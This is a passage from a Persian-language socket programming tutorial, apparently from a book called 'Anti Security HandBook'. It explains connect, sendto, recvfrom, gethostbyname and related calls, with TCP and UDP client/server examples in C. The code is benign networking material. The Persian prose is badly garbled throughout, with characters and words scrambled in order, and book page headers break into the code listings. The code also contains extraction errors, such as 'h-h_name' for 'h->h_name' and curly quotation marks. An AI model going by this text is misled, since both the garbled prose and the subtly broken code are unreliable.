 شد  یمعرف  یقبل  بخش  در که ()socket تابع از نکاریا یبرا .دیاوريب وجوده ب سوکت کی دهنده سیسرو برنامه مانند قاًيدق ابتدا ) الف
  .ندارد وجود یمشتر سمت و دهنده سیسرو سمت در تابع نیا یريبکارگ یبرا یتفاوت چيه نجایا تا .ديکن استفاده

 
 .شود  رفتهیپذ تقاضا نیا تا دیشو منتظر آنقدر و ديبفرست دهنده سیسرو سمت به را ارتباط یبرقرار یتقاضا ماًيمستق ازين هنگام در ) ب
  .شد خواهد داده حيتوض ادامه در که شوديم انجام()connect تابع توسط عمل نیا

  
  .ديکن استفاده دادهها افتیدر و ارسال یبرا()recv و()send توابع از ) ج
  
   .دیببند()shutdown  ای()close تابع توسط را شده جادیا ارتباط تاینها ) د
  
  ()connect تابع ) ٧-١
  
ده  سیسرو کی با ارتباط یبرقرار یبرا ابع  از دهن تفاده ()connect ت ه  یصورت  در و شودي م اس ه  ک ده  سیسرو  برنام  نيماش  یرو دهن

ورد  ع  و باشد  شده  اجرا  نظر  م ه  در()accept و()listen  تواب ند  شده  یفراخوان  برنام اه  باش ابع  جه ينت آنگ  زي آم تي موفق()connect  ت
  .بود خواهد

  
  : است ریز صورت به()connect تابع یکل فرم

  
#include <sys/types.h> 
#include <sys/socket.h> 
int connect(int sockfd, struct sockaddr *serv_addr, int addrlen); 
 

  
• sockfd : تابع یفراخوان با که است یسوکت مشخصه socket()است آمده بدست  

 
• serv_addr : نوع از یاستراکچر sockaddr آدرس استراکچر  نی ا در .شد یمعرف قبلاً که است IP آدرس و مقصد  نيماش 

  .شد خواهد نييتع مقصد برنامه پورت
  

• addrlen  :د يم یمعرف  تیبا حسب بر را یقبل استراکچر اندازه وان يم و کن ارامتر  نی ا در یبراحت  ت دار  پ  sizeof(struct مق
sockaddr) داد قرار.  

 
  
ورت  شماره  کی خودکار بطور عامل ستميس بلکه ديکنينم ميتنظ را خودتان پورت آدرس شما که ديکن دقت نکته نیا به صادف  پ را  یت  یب
را  شماره نیا مقدار و کنديم انتخاب شما ه  یب م  اصلاً  یمشتر  سمت  برنام ه  اچر  ستي ن مه ه  شما  یوقت  ک ده  سیسرو  کی  ب  متصل  دهن
ذ يم را تقاضا نیا دهنده سیسرو و دیشويم ده  سیسرو  پاسخ  ردیپ ه  دهن ان  ب ورت  آدرس هم د  یپ ود  خواه ه  ب را  عامل  ستمي س ک  سوکت  یب

د کيم اعلام مقابل طرف به زين را خود پورت آدرس ، ارتباط هکنند شروع بعنوان شما برنامه قتيحق در .است کرده انتخاب ل  در .ن  مقاب
 عدم صورت در .ندینما شروع را ارتباط بتوانند ها یمشتر برنامه تا باشد مشخص و ثابت دیبا قطعاً دهنده سیسرو برنامه پورت آدرس
   .باشديم داده رخ یخطا شماره errno ريمتغ و بود خواهد - ١ تابع نیا یبرگشت مقدار TCP ارتباط کی یبرقرار در تيموفق

 
  :کنديم عرضه شما به را دگاهید نیا یحدود تا ریز ناتمام مثال

 
#include <string.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#define DEST_IP "132.241.5.10" 
#define DEST_PORT 23 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٩٩٩    صفحه

main() { 
int sockfd; 
struct sockaddr_in dest_addr; /* will hold the destination addr */ 
if (( sockfd = socket(AF_INET, SOCK_STREAM, 0))!=NULL) { 
dest_addr.sin_family = AF_INET; /* host byte order */ 
dest_addr.sin_port = htons(DEST_PORT); /* short, network byte order */ 
dest_addr.sin_addr.s_addr = inet_addr(DEST_IP); 
bzero(&(dest_addr.sin_zero), 8); /* zero the rest of the struct */ 
if ((connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)))!=-1) { 
. 
. 
. 
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  ديتاگرام های سوکت  باUDP  روش به دريافت و ارسال ) ٨ 
  

 را افتیدر و ارسال توانيم صورت چه به که دید دیبا حال .دارد کاربرد میاستر نوع یها سوکت یبرا رشیپذ و افتیدر ، ارسال توابع
  .داد انجام تاگرامید نوع یها سوکت یرو UDP روش به
 

 دهنده سيسرو سمت رنامهب •
  

  .شوديم انجام SOCK_DGRAM پارامتر با()socket تابع یفراخوان با کار نیا .ديکن جادیا تاگرامید نوع از سوکت کی ) الف
 
  ()bind تابع با ديبده نسبت را نظرتان مورد پورت آدرس شده جادیا سوکت هب ) ب
  
ا  که یموقع تا دیبشو دادهها افتیدر منتظر ديتوانيم یاضاف کار چيه بدون ) ج شود  افت یدر یداده د ينم یمعن  ارسال  ن ا  یوقت  ده  یداده
 .بود خواهد ریپذ امکان ارسال و شده مشخص ورتپ و IP آدرس مبدا برنامه آدرس شد پردازش و افتیدر
 

  .شوديم انجام()sendto  و()recvfrom  توابع لهيبوس تاگرامید نوع یها سوکت یرو افتیدر و ارسال
  
  .دیببند را شده جادیا سوکت تاینها ) د
 

  یمشتر سمت رنامهب •
  
 

  SOCK_DGRAM ترپارام و()socket تابع با ديکن جادیا تاگرامید نوع از سوکت کی ) الف
  
ه  یوقت  تا .دیينما ارسال دهنده سیسرو سمت به را تان یها داده یاضاف کار چيه بدون شد ازين گاه هرد  )ب ه  ک ده  سیسرو  سمت  ب  دهن

د ينم معنا دادهها افتیدر د،يباش نداشته یارسال ه  چرا  ده را  شما  ک ده  سیسرو  یب ناخته  دهن ا  نکه یا مگر  ديستي ن شده  ش  ارسال  را یداده
 .ديبده انجام است ازين که یزمان تا را افتیدر و ارسال .دينمائ

  
 .دیببند را شده جادیا سوکت ) ج
  
  :است ریز بصورت تاگرامید یها سوکت بر یمبتن داده ارسال تابع یکل فرم

 
int sendto(int sockfd, const void *msg, int len, unsigned int flags, const struct sockaddr *to, 
int tolen); 

  
• sockfd  :تابع با که تاگرامید سوکت مشخصه socket()است آمده بوجود.   

  
• Msg : رفتن  محل آدرس ه  حافظه  در امي پ قرارگ ا  ک ال  یدادهه ا  از یستی با یارس سته  کی  درون و شده  استخراج  آنج  UDP ب

  .شود ارسال و گرفته قرار
  

• Len : تیبا حسب بر یارسال اميپ طول  
 

• flags : دیريبگ نظر در صفر آنرا فعلاً بحث یدگيچيپ از زيپره یبرا  
 

• to  :نوع از یاستراکچر sockaddr آدرس دی با استراکچر نیا در .میکرد مشخص آنرا ساختار قبلاً که IP  وط ه  مرب  نيماش  ب
  .شود ميتنظ دهنده سیسرو پورت شماره نيهمچن و مقصد

 
• tolen  : استراکچر طول sockaddr مقدار به آنرا دينتوايم یسادگ به که است sizeof(struct sockaddr) دیينما ميتنظ.  
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ه  است  یتیبا تعداد ()send تابع همانند تابع نیا یبرگشت مقدار ه  موفق  عامل  ستمي س ک ه  دي کن دقت  .است  شده  آن ارسال  ب دار  اگر  ک  مق
از  .دي نمائ یبررس errno یسراسر ريمتغ در را خطا شماره ديتوانيم که کرده بروز یخطائ باشد -١ یبرگشت م  ب   یل يدل ميکن يم تکرار  ه
   .باشد یکی شده ارسال که یتیبا تعداد با دیدادها را آنها ارسال یتقاضا که یتیبا تعداد ندارد

 
ه  هر در ارسال یتقاضاها نيهمچن و کرده یبررس خود برنامه در را مورد نیا حتماً نیبنابرا و يک کی  کی نزد را مرحل  نظر  در تی با ل
   .دیريبگ
 

  :است ریز بصورت تاگرامید یها سوکت بر یمبتن داده افتیدر تابع یکل فرم
 

int recvfrom(int sockfd, void *buf, int len, unsigned int flags,struct sockaddr *from, 
int *fromlen); 

  
  

• sockfd  : تابع با که تاگرامید سوکت مشخصه socket()است آمده وجوده ب  
  

• Buf : داد خواهد قرار محل آن در را یافتیدر یدادهها عامل ستميس که حافظه از یمحل آدرس.  
  

• len : تیبا حسب بر شود افتیدر دیبا که یاميپ طول  
  

• from  :نوع از است یاستراکچر  sockaddrرا  عامل  ستميس و شد یبررس آن ساختار قبلاً که ا  آن  و IP  آدرس مشخصات  ب
 .گردانديبرم شما برنامه به و ميتنظ مبداء برنامه پورت آدرس

  
• flag  :ديکن ميتنظ صفر به آنرا  

  
len  :است برگردانده آنرا عامل ستميس که است یاستراکچر طول  

  
    .دارد یاتيح تياهم یافتیدر یدادهها پردازش یبرا پارامتر نیا .است شده افتیدر که است یتیبا تعداد زين تابع نیا یبرگشت مقدار
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  شبکه نويسی برنامه در مفيد وابعت ) ٩ 
  
 
 از یبرخ  ادامه در .هستند کارآمد و ديمف اريبس شبکه یسینو برنامه یبرا که هستند هم یگرید توابع شده یمعرف یستميس توابع از ريبغ

  :کرد ميخواه حیتشر را آنها نیمهمتر
 
  ()getpeername تابع ) ٩-١
  
  

#include <sys/socket.h> 
int getpeername(int sockfd, struct sockaddr *addr, int *addrlen); 

  
  
ابع  نی ا از استفاده با ل  طرف  تی هو دي توانيم ت ورت  آدرس و IP آدرس شامل  ، مقاب ل  طرف  هپروس  پ اط  مقاب  .دي نمائ استخراج  را ارتب

  : است شده فیتعر لیذ بصورت تابع نیا یپارامترها
 

• Sockfd : نظر مورد سوکت مشخصه  
 

• addr  :وع  از است یاستراکچر ه  sockaddr ن بلاً  ک ا  عامل  ستمي س توسط  استراکچر  نی ا .است  شده  فی تعر آن ساختار  ق  ب
  .شد خواهد پر مقابل طرف پورت آدرس و  IP آدرس

 
• addrlen  :استراکچر طول sockaddr   

  
ا  شماره   errno یسراسر ريمتغ در و بود خواهد (-1 ) یبرگشت مقدار فوق تابع تيموفق عدم صورت در را  خط وع  یبررس  یب ا  ن  خط
  .شد خواهد ميتنظ

  
 از شما نيماش اگر و است BE بصورت پورت آدرس وIP  آدرس بيترت که است آن کند فراموش سینو برنامه است ممکن که یا نکته
  .ديکن لیتبد شد اشاره آن به ۵ بخش در که یتوابع قیطر از آنرا حتماً دیبا استLE نوع

  
 ()gethostname تابع ) ٩-٢
  
ا  معادل یکاراکتر رشته کی نام نیا .گرداند خواهد بر ، شوديم اجرا آن یرو شما هبرنام که را ینيماش نام تابع نیا ام  ب اد  ن  نيماش  نینم

 :است ریز بصورت تابع یکل فرم www.ibm.com ً مثلا آن IP آدرس نه است
 

#include <unistd.h> 
int gethostname(char *hostname, size_t size); 

  
• hostname  :ه  ست  ایکاراکتر رشته کی بهتر عبارته ب ای ها کاراکتر از هیآرا کی ابع  بازگشت  از پس  ک ام  ت  در نيماش  ن

 .شد خواهد رهيذخ آنجا
  

size  :شت  مقدار اگر کاراکتر حسب بر یکاراکتر رشته طول ائ  باشد  (-1 ) یبرگ روز  یخط رده  ب دار  و ک د  errno مق ل  همانن  ارهشم  قب
 .بود خواهد صفر یبرگشت مقدار کند عمل موفق فوق تابع اگر یول دارديم نگه را خطا

 
  حوزه های آدرس ترجمه  برایDNS  سيستم بکارگيری ) ٩-٣
  

ه  طيمح  در ديبتوان که است دهيرس فرا آن وقت نجایا در .شد بحث آن عملکرد طرز و DNS ستميس مورد در قبلاً  یتقاضا  یسی نو برنام
 نجایا تا که یکوچک یمثالها .دينمائ استفاده خود برنامه در را جهينت و کرده ارائه ستميس نیا به را دهنده سیسرو کی 1 حوزه نام ترجمه
 ديبخواه شما که ديکن فرض کنيل و کردنديم استفاده آنIP آدرس از مايمستق خاص نيماش با ارتباط کی یبرقرار یبرا یهمگ میا داشته
ورد  نیا در که یتابع  .دینما وارد مقصد آدرس بعنوان را دهنده سیسرو کی حوزه نام آدرس بتواند کاربر که ديسیبنو یا برنامه  بکار  م

  :است ریز یکل فرم یدارا دیآيم
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#include <netdb.h> 
struct hostent *gethostbyname(const char *name); 

  
• name : دهنده سیسرو کی حوزه نام یکاراکتر رشته.   

  
 : است شده فیتعر ریز بصورت آن ساختار که hostent  نوع از است یاستراکچر آدرس ، تابع یبرگشت رمقدا

 
struct hostent { 
char *h_name; 
char **h_aliases; 
int h_addrtype; 
int h_length; 
char **h_addr_list; 
}; 
#define h_addr h_addr_list[0] 

  
  

• hname : مثلاً بود خواهد حوزه نام رشته نیا نترنتیا هشبک یبرا نيماش یرسم نام www.ibm.com  
  

• h_aliases  :شوديم ختم \0 با رشته نیا نيماش مستعار نام  
  

• h_addrtype : مقدار لديف نیا نترنتیا شبکه در شد اشاره که همانگونه آدرس خانواده AF_INET داشت خواهد.   
  

• h_length  :تیبا حسب بر آدرس طول  
  

• h_addr_list : آدرس آن در که یکاراکتر رشته کی IP ده  سیسرو  نيماش به مربوط رار  دهن ا  رشته  نی ا .دارد ق تم  \0 ب  خ
  .شوديم

 
  
 
 

د يم بر استراکچر به گر اشاره کی بودن، زيآم تيموفق صورت در بالا تابع در که ديکن دقت دار  نصورت یا ري غ در و گردان  NULL مق
د  ميتنظ  errno ريمتغ یقبل توابع برخلاف و گشت برخواهد ا  و شد  نخواه ه  herror یسراسر  ري متغ آن یبج  است  یستمي س یري متغ ک

  .شوديم گرفته بکار خطا نوع کشف یبرا()herror  یستميس تابع ضمن در و شوديم ميتنظ
 
  : دينمائ دقت ریز یاجرائ و کوچک برنامه به .رسديم نظر به یضرور مثال کی طرح دارد وجود تابع نیا در که یابهامات رفع یبرا
 

#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <netdb.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
int main(int argc, char *argv[]) 
{ 
struct hostent *h; 
if (argc != 2) { /* error check the command line */ 
fprintf(stderr,”usage: getip address\n”); 
exit(1); 
} 
if ((h=gethostbyname(argv[1])) == NULL) { /* get the host info */ 
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herror(“gethostbyname”); 
exit(1); 
} 
printf(“Host name : %s\n”, h-h_name); 
printf(“IP Address : %s\n”,inet_ntoa(*((struct in_addr *)h-h_addr))); 
return 0; 
} 

  
ام  ه  نی ا ن ه  است  getip  برنام ام  آدرس کی  ک وان  را حوزه  ن رده  افت یدر یورود بعن ه  جه ينت و ک ه  را آن ترجم  هي بق و IP آدرس ب

  .کنديم چاپ یخروج یرو را مشخصات
 

 :دارد ییبازگو ارزش بالا برنامه درمورد ریز نکات
  

ام  آن یجلو در سپس و کرده پیتا فرمان خط یرو را برنامه نام که است صورت نیبد فوق برنامه یريبکارگ قهیطر ) الف  را حوزه  ن
  : مثال .ديدهيم فشار را Enter ديکل و نوشته یخال فاصله کی با
 

$ getip www.ibm.com 
  
د  هر و است واقع h_addr_list ريمتغ در حوزه نام آدرس با معادل IP آدرس ) ب ه  چن ه  است  رشته  کی  بصورت  ک ا  ک د  ب تم  \0 ک  خ
 شدهاند رهيذخ BE بصورت که آن اول تیبا چهار به فقط شما هستند یتیبا چهار فعلاً IP یها آدرس که نترنتیا شبکه یبرا یول شوديم
   .دی دازمندين
  
 چاپ یبرا ()inet_ntoa تابع از 190.140.187 مثلا فرمه ب دار نقطه یا رشته حالت به یتیبا چهار آدرس لیتبد یبرا فوق برنامه در
  .است شده گرفته بهره یخروج یرو
  
ول  رشته بصورت h→h_addr ريمتغ یاصل فیتعر طبق که است بوده ليدل آن به()inet_ntoa تابع در ”نوع قيتطب“ عمل ) ج  یمعم
ابع  در یول  شده  فی تعر ان ()inet_ntoa ت وع  از استراکچر  کی  آن یورود آرگوم ه  است  in_addr ن دا  در ک  آن ساختار  فصل  یابت
اق  عمل  در یول  ميکن  نيتضم را یورود پارامتر یسازگار “نوع قيتطب” عمل با میمجبور  نیبنابرا .است یتیبا چهار و شد فیتعر  اتف
  .افتد ینم یخاص
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  نمونه های رنامهب ) ١٠
 

 رفع را خود ابهامات و اشکالات هاآن یبررس با تا کنديم کمک شما به ساده مثال دو شبکه یسینو برنامه یبرا ساده توابع یمعرف از پس
  .دينمائ

  
 استريم های سوکت بر  مبتنیTCP روش به اطلاعات مبادله از مثالی ) ١٠-١
 
 دی با مجزا برنامه دو در شد گفته آنچه با مطابق که شوديم یبررس یمشتر/ دهنده سیسرو مفهوم بر یمبتن ساده ستميس کی اول مثال در

ا  سوکت  از مثال نیا .یمشتر سمت برنامه و دهنده سیسرو سمت برنامه : شود نوشته وع  یه تفاده  میاستر  ن د يم اس ه  یعن ی کن  داده مبادل
   :ميینمايم یبررس را دهنده سیسرو سمت برنامه ابتدا در .است TCP روش بر یمبتن

 
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#define MYPORT 3490 /* the port users will be connecting to */ 
#define BACKLOG 10 /* how many pending connections queue will hold */ 
main() { 
int sockfd, new_fd; /* listen on sock_fd, new connection on new_fd */ 
struct sockaddr_in my_addr; /* my address information */ 
struct sockaddr_in their_addr; /* connector's address information */ 
int sin_size; 
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 
perror("socket"); 
exit(1); 
} 
my_addr.sin_family = AF_INET; /* host byte order */ 
my_addr.sin_port = htons(MYPORT); /* short, network byte order */ 
my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */ 
bzero(&(my_addr.sin_zero), 8); /* zero the rest of the struct */ 
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) \ 
== -1) { 
perror("bind"); 
exit(1); 
} 
if (listen(sockfd, BACKLOG) == -1) { 
perror("listen"); 
exit(1); 
} 
while(1) { /* main accept() loop */ 
sin_size = sizeof(struct sockaddr_in); 
if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \ 
&sin_size)) == -1) { 
perror("accept"); 
continue; 
} 
printf("server: got connection from %s\n", \ 
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inet_ntoa(their_addr.sin_addr)); 
if (!fork()) { /* this is the child process */ 
if (send(new_fd, "Hello, world!\n", 14, 0) == -1) 
perror("send"); 
close(new_fd); 
exit(0); 
} 
close(new_fd); /* parent doesn't need this */ 
while(waitpid(-1,NULL,WNOHANG)>0); /* clean up child processes */ 
} 
} 

  
ورت  شماره و برنامه نیا با یمشتر سمت برنامه گاه هر که است آن دهديم انجام ساده برنامه نیا که یعمل اط  3490 پ رار  ارتب د  برق  کن
دون  ارتباط کی کردن()accept از پس قاًيدق دهنده سیسرو سمت برنامه نیبنابرا .کرد خواهد افتیدر را "Hello, world!\n" غاميپ  ب
  .بست خواهد را متناظر سوکت و فرستاده مقابل طرف یبرا را فوق یتیبا چهارده رشته یخاص پردازش چيه
  

ط  که چرا ندارد یخاص حيتوض به ازين while(1)  دستور به دنيرس تا برنامه وع  سوکت  کی  فق اد یا میاستر  ن ه  و شده  ج  سوکت  نی ا ب
 تینهايب حلقه وارد سپس و شود رفتهیپذ معلق ارتباط ده حداکثر تا شده داده اجازه()listen  تابع با و شده داده نسبت 3490 پورت آدرس
دا  شدwhile(1) حلقه وارد برنامه آنکه از پس .است شده اط  نياول  ابت ق  ارتب ه یپذ ) وجود  درصورت  ( معل  سوکت  همشخص  و شده  رفت
ار  نیا از پس .شوديم برگردانده برنامه به و شده جادیا آن یبرا دیجد ه  کسيونی  یستمي س فراخوان  کی  ک ام  ب را ()fork ن اد یا یب  کی  ج

   .شوديم انجام فرزند پروسه
  
  :ميینما ارائه یحيتوض مورد نیا در شتريب ییآشنا یبرا ستين بد
 

 fork()هياول پروسس با کسانی قاًيدق یتکرار پروسس کی ساختن آن فهيوظ و است کسيونی طيمح در دیجد پروسس کی جادیا راه تنها 
ردار  نسخه پروسس و هياول پروسس ()fork یاجرا از پس .است گرید منابع و ها ستريرج ، لیفا یها مشخصه تمام شامل  راه شده  یب

ه  ، شونديم یبردار نسخه فرزند ساختن یبرا پدر یدادهها بعنوان ()fork کهيآنجائ از .گرفت خواهند شيپ در را یا جداگانه  ري يمتغ هم
د  پروسه  آغاز  از پس اما دارند کسانی ریمقاد ()fork  زمان در ها د  راتيي تغ فرزن دام  هر  در یبع ا   از ک اث  آنه ر  یريت  یگر ید یرو ب

در  نيب است رييتغ قابل ريغ که برنامه متن ( گذاشت نخواهد د  و پ ه  فرزن ابع  ) شودي م گذاشته  اشتراک  ب دار  کی  ()fork  یستمي س ت  مق
را  و صفر برابر فرزند پروسس یبرا که گردانديبرم در  پروسس  یب د  پروسه  شناسه  پ د  1 فرزن ود  خواه ا  .ب تفاده  ب شت pid از اس  یبازگ
  .است پدر کدام و فرزند کيکدام پروسس دو نيب که ديفهم توانيم
 

ه  دی جد پروسه کی شوديم رفتهیپذ که ارتباط هر یازا به فوق برنامه در نیبنابرا د  ک ابع  از بع وان  شودي م شروع  ()fork یستمي س ت  بعن
  .رديگيم سیسرو عامل ستميس از یزمان اشتراک بصورت پروسسها گرید همانند و شده ديتول فرزند پروسه

  
ه  است  آن شده  استفاده روش نیا از فوق برنامه در نکهآ ليدل ق  ارتباطات  ک ردازش   Polling روشه ب  معل شوند  پ م  بصورت  بلکه  ن  ه

د  مواجه  ريتاخ با را هيبق ارتباطات از یکی در ريتاخ گونه هر که شوديم باعث کار نیا .گردند اجرا روند ه  بلکه  نکن اط  هر  یازا ب  ارتب
 .شوند  اجرا  و کرده افتیدر را CPU زمان از یسهم یزمان اشتراک بصورت سطح کی در همه و شود جادیا فرزند پروسه کی معلق
  .شوديم ساخته دیجد یارتباط یبرا دیجد فرزند پروسه کی ديرس اتمام به که فرزند پروسه هر
ه  فرزندش یسسهاپرو  تمام که یزمان تا برد خواهد قيتعل حالت به را پدر پروسه waitpid(-1,NULL,WNOHANG) تابع ام  ب  اتم

  .برسند
 

ه  اجياحت شده ارائه نجایا تا که یحاتيتوض به توجه با برنامه نیا .دينمائ دقت یمشتر سمت برنامه به حال دارد  حيتوض  ب ه  .ن  سمت  برنام
  .باشد شده اجرا دهنده سیسرو سمت برنامه آن یاجرا از قبل که کرد خواهد عمل موفق یزمان یمشتر

 
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <netdb.h> 
#include <sys/types.h> 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ١٠٠٧    صفحه

#include <netinet/in.h> 
#include <sys/socket.h> 
#define PORT 3490 /* the port client will be connecting to */ 
#define MAXDATASIZE 100 /* max number of bytes we can get at once */ 
int main(int argc, char *argv[]) 
{ 
int sockfd, numbytes; 
char buf[MAXDATASIZE]; 
struct hostent *he; 
struct sockaddr_in their_addr; /* connector's address information */ 
if (argc != 2) { 
fprintf(stderr,"usage: client hostname\n"); 
exit(1); 
} 
if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */ 
herror("gethostbyname"); 
exit(1); 
} 
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 
perror("socket"); 
exit(1); 
} 
their_addr.sin_family = AF_INET; /* host byte order */ 
their_addr.sin_port = htons(PORT); /* short, network byte order */ 
their_addr.sin_addr = *((struct in_addr *)he-h_addr); 
bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */ 
if (connect(sockfd, (struct sockaddr *)&their_addr, \ 
sizeof(struct sockaddr)) == -1) { 
perror("connect"); 
exit(1); 
} 
if ((numbytes=recv(sockfd, buf, MAXDATASIZE, 0)) == -1) { 
perror("recv"); 
exit(1); 
} 
buf[numbytes] = '\0'; 
printf("Received: %s",buf); 
close(sockfd); 
return 0; 
} 

  
  ديتاگرام های سوکت بر  مبتنیUDP روش به اطلاعات مبادله از مثالی ) ١٠-٢
 

 بسته گاه هر و مانديم یباق ها بسته افتیدر منتظر دهنده سیسرو سمت در برنامه نیا .ميینمايم ارائه را دهنده سیسرو سمت برنامه ابتدا
  .ندارد یخاص حيتوض به ازين برنامه .داد خواهد شینما یخروج یرو بر آن آدرس همراه به کرد افتیدر یمشتر کی از را یا

 
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
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#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#define MYPORT 4950 /* the port users will be connecting to */ 
#define MAXBUFLEN 100 
main() 
{ 
int sockfd; 
struct sockaddr_in my_addr; /* my address information */ 
struct sockaddr_in their_addr; /* connector's address information */ 
int addr_len, numbytes; 
char buf[MAXBUFLEN]; 
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { 
perror("socket"); 
exit(1); 
} 
my_addr.sin_family = AF_INET; /* host byte order */ 
my_addr.sin_port = htons(MYPORT); /* short, network byte order */ 
my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */ 
bzero(&(my_addr.sin_zero), 8); /* zero the rest of the struct */ 
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) \ 
== -1) { 
perror("bind"); 
exit(1); 
} 
addr_len = sizeof(struct sockaddr); 
if ((numbytes=recvfrom(sockfd, buf, MAXBUFLEN, 0, \ 
(struct sockaddr *)&their_addr, &addr_len)) == -1) { 
perror("recvfrom"); 
exit(1); 
} 
printf("got packet from %s\n",inet_ntoa(their_addr.sin_addr)); 
printf("packet is %d bytes long\n",numbytes); 
buf[numbytes] = '\0'; 
printf("packet contains \"%s\"\n",buf); 
close(sockfd); 
} 

  
 اگر مثال بعنوان .کنديم ارسال دهنده سیسرو یبرا ماًيمستق ، کرده افتیدر آرگومان بعنوان که را یهاه رشت برنامه ، یمشتر سمت در

  :ميینما اجرا فرمان خط در ریز بصورت و لیکامپا سپس و نوشتهtalker.c  نام با را برنامه
 

$ talker www.hserver.edu hello 
  

 یرو آنرا شد ارائه که یحيتوض طبق دهنده سیسرو سمت برنامه و شد خواهد ارسال دهنده سیسرو سمت به برنامه توسطhello  رشته
  .کرد خواهد چاپ یخروج

 
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
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#include <netinet/in.h> 
#include <netdb.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
 267 اینترنت شبکۀ تحت نویسی برنامه
#define MYPORT 4950 /* the port users will be connecting to */ 
int main(int argc, char *argv[]) 
{ 
int sockfd; 
struct sockaddr_in their_addr; /* connector's address information */ 
struct hostent *he; 
int numbytes; 
if (argc != 3) { 
fprintf(stderr,"usage: talker hostname message\n"); 
exit(1); 
} 
if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */ 
herror("gethostbyname"); 
exit(1); 
} 
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { 
perror("socket"); 
exit(1); 
} 
their_addr.sin_family = AF_INET; /* host byte order */ 
their_addr.sin_port = htons(MYPORT); /* short, network byte order */ 
their_addr.sin_addr = *((struct in_addr *)he-h_addr); 
bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */ 
if ((numbytes=sendto(sockfd, argv[2], strlen(argv[2]), 0, \ 
(struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1) { 
perror("sendto"); 
exit(1); 
} 
printf("sent %d bytes to %s\n",numbytes,inet_ntoa(their_addr.sin_addr)); 
close(sockfd); 
return 0; 
} 
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 ١٠١٠    صفحه

  شبکه تحت های پروسه شدن بلوکه ) ١١
  

 به که را آن از ینکات یول کرد حیتشر آنرا کاملا نجایا در توانينم که است عامل ستميس یطراح مباحث از پروسه کی شدن بلوکه مفهوم
 را اجرا حال در پروسه کی یخروج / یورود ستوراتد ساده عبارت کی در .ميدهيم حيتوض است مرتبط سوکت یسینو برنامه مبحث
ان  برش  عامل  ستمي س از ا ددمج و نشود کامل آن یخروج/ یورود که یزمان تا و کرده متوقف د  افت یدر یزم د  متوقف  نکن د  خواه  .مان
الطب  و شوندي م محسوب  یخروج یورود ینوع به یعنی هستند دسته نيهم از()accept /و()recv و()recvto توابع ا  عب ه  ییبرنامهه  ک

  .ماننديم یباق بلوکه ، یخروج / یورود اتيعمل شدن کامل تا و شد خواهند بلوکه عامل ستميس توسط ندینما اجرا را توابع نیا
  

اط  چيه  یوقت حال .دهديم  لیتحو شما برنامه به را TCP شده صف به و معلق ارتباطات از یکی()accept تابع مثال بعنوان  یمعلق  ارتب
ابع  نیا است نداده ارتباط یبرقرار یتقاضا ینيماش چيه یعنی داردن وجود ه  منجر  ت ه  ب ه  شدن  بلوک ا  شودي م برنام ان  ت ه  یزم  ییتقاضا  ک
 یراه  کنيل  و است  کارآمد و ديمف اريبس کلا روش نیا .دینمايم اجرا و کرده اياح را شده بلوکه برنامه عامل ستميس حالت نیا در برسد،
ه  دارد وجود  ابع  نی ا یاجرا  از پس  امل ع ستمي س ک ع  هي بق و) ت ه  (تواب ه  را شما  برنام د  بلوک را  .نکن   یستمي س فراخوان  از نکار یا یب

fcntl()توابع یفراخوان از بعد حالت نیا در .ديکن استفاده است آمده یبعد مثال در که ینحو به accept()ای  recv()و زي آم تيموفق چه 
 را دادهها افتیدر ای ارتباط رشیپذ امکان خود برنامه در است موظف سینو برنامه خود بلکه  شد نخواهد بلوکه شما برنامه ناموفق چه

 در که چرا شودينم محسوب یمناسب روش بره کار چند یطهايمح در که است  یسرکش روش همان روش نیا قتيحق در .دینما یبررس
 .دینمايم یسرکش را ها سوکت سرهم تپش و گرفته را CPU  وقت تینها یب حلقه کی در شما برنامه روش نیا

 
ا  دي کن یسع  اگر  نیبنابرا و شودينم بلوکه عامل ستميس توسط شما برنامه ، باشد (-1 ) مقدار()accept جهينت اگر که ديکن دقت  را یداده
ه  در .شد  دي خواه مواجه  برنامه 3 متعادل نا قطع و یستميس یخطا با ديکن ارسال ای افتیدر ا  برنام ه  ییه د  ک  ، شوندي م نوشته  نحو  نیب
 .بود خواهد سینو برنامه هعهد بر()accept تابع یبرگشت مقدار شیآزما

 یبرا لازم توابع و سوکت ميمفاه یهارا کنيول ، دارد C  یمعمول زبان به نسبت یتر یقو و بهتر یابزارها ، شبکه تحت یسینو برنامه
را  رایز ، دهديم آموزش تر یاديبن و بهتر را ميمفاه C  زبان از استفاده با ، شبکه تحت یسینو برنامه ه ارا یب وم  ی ه  و سوکت  مفه  برنام

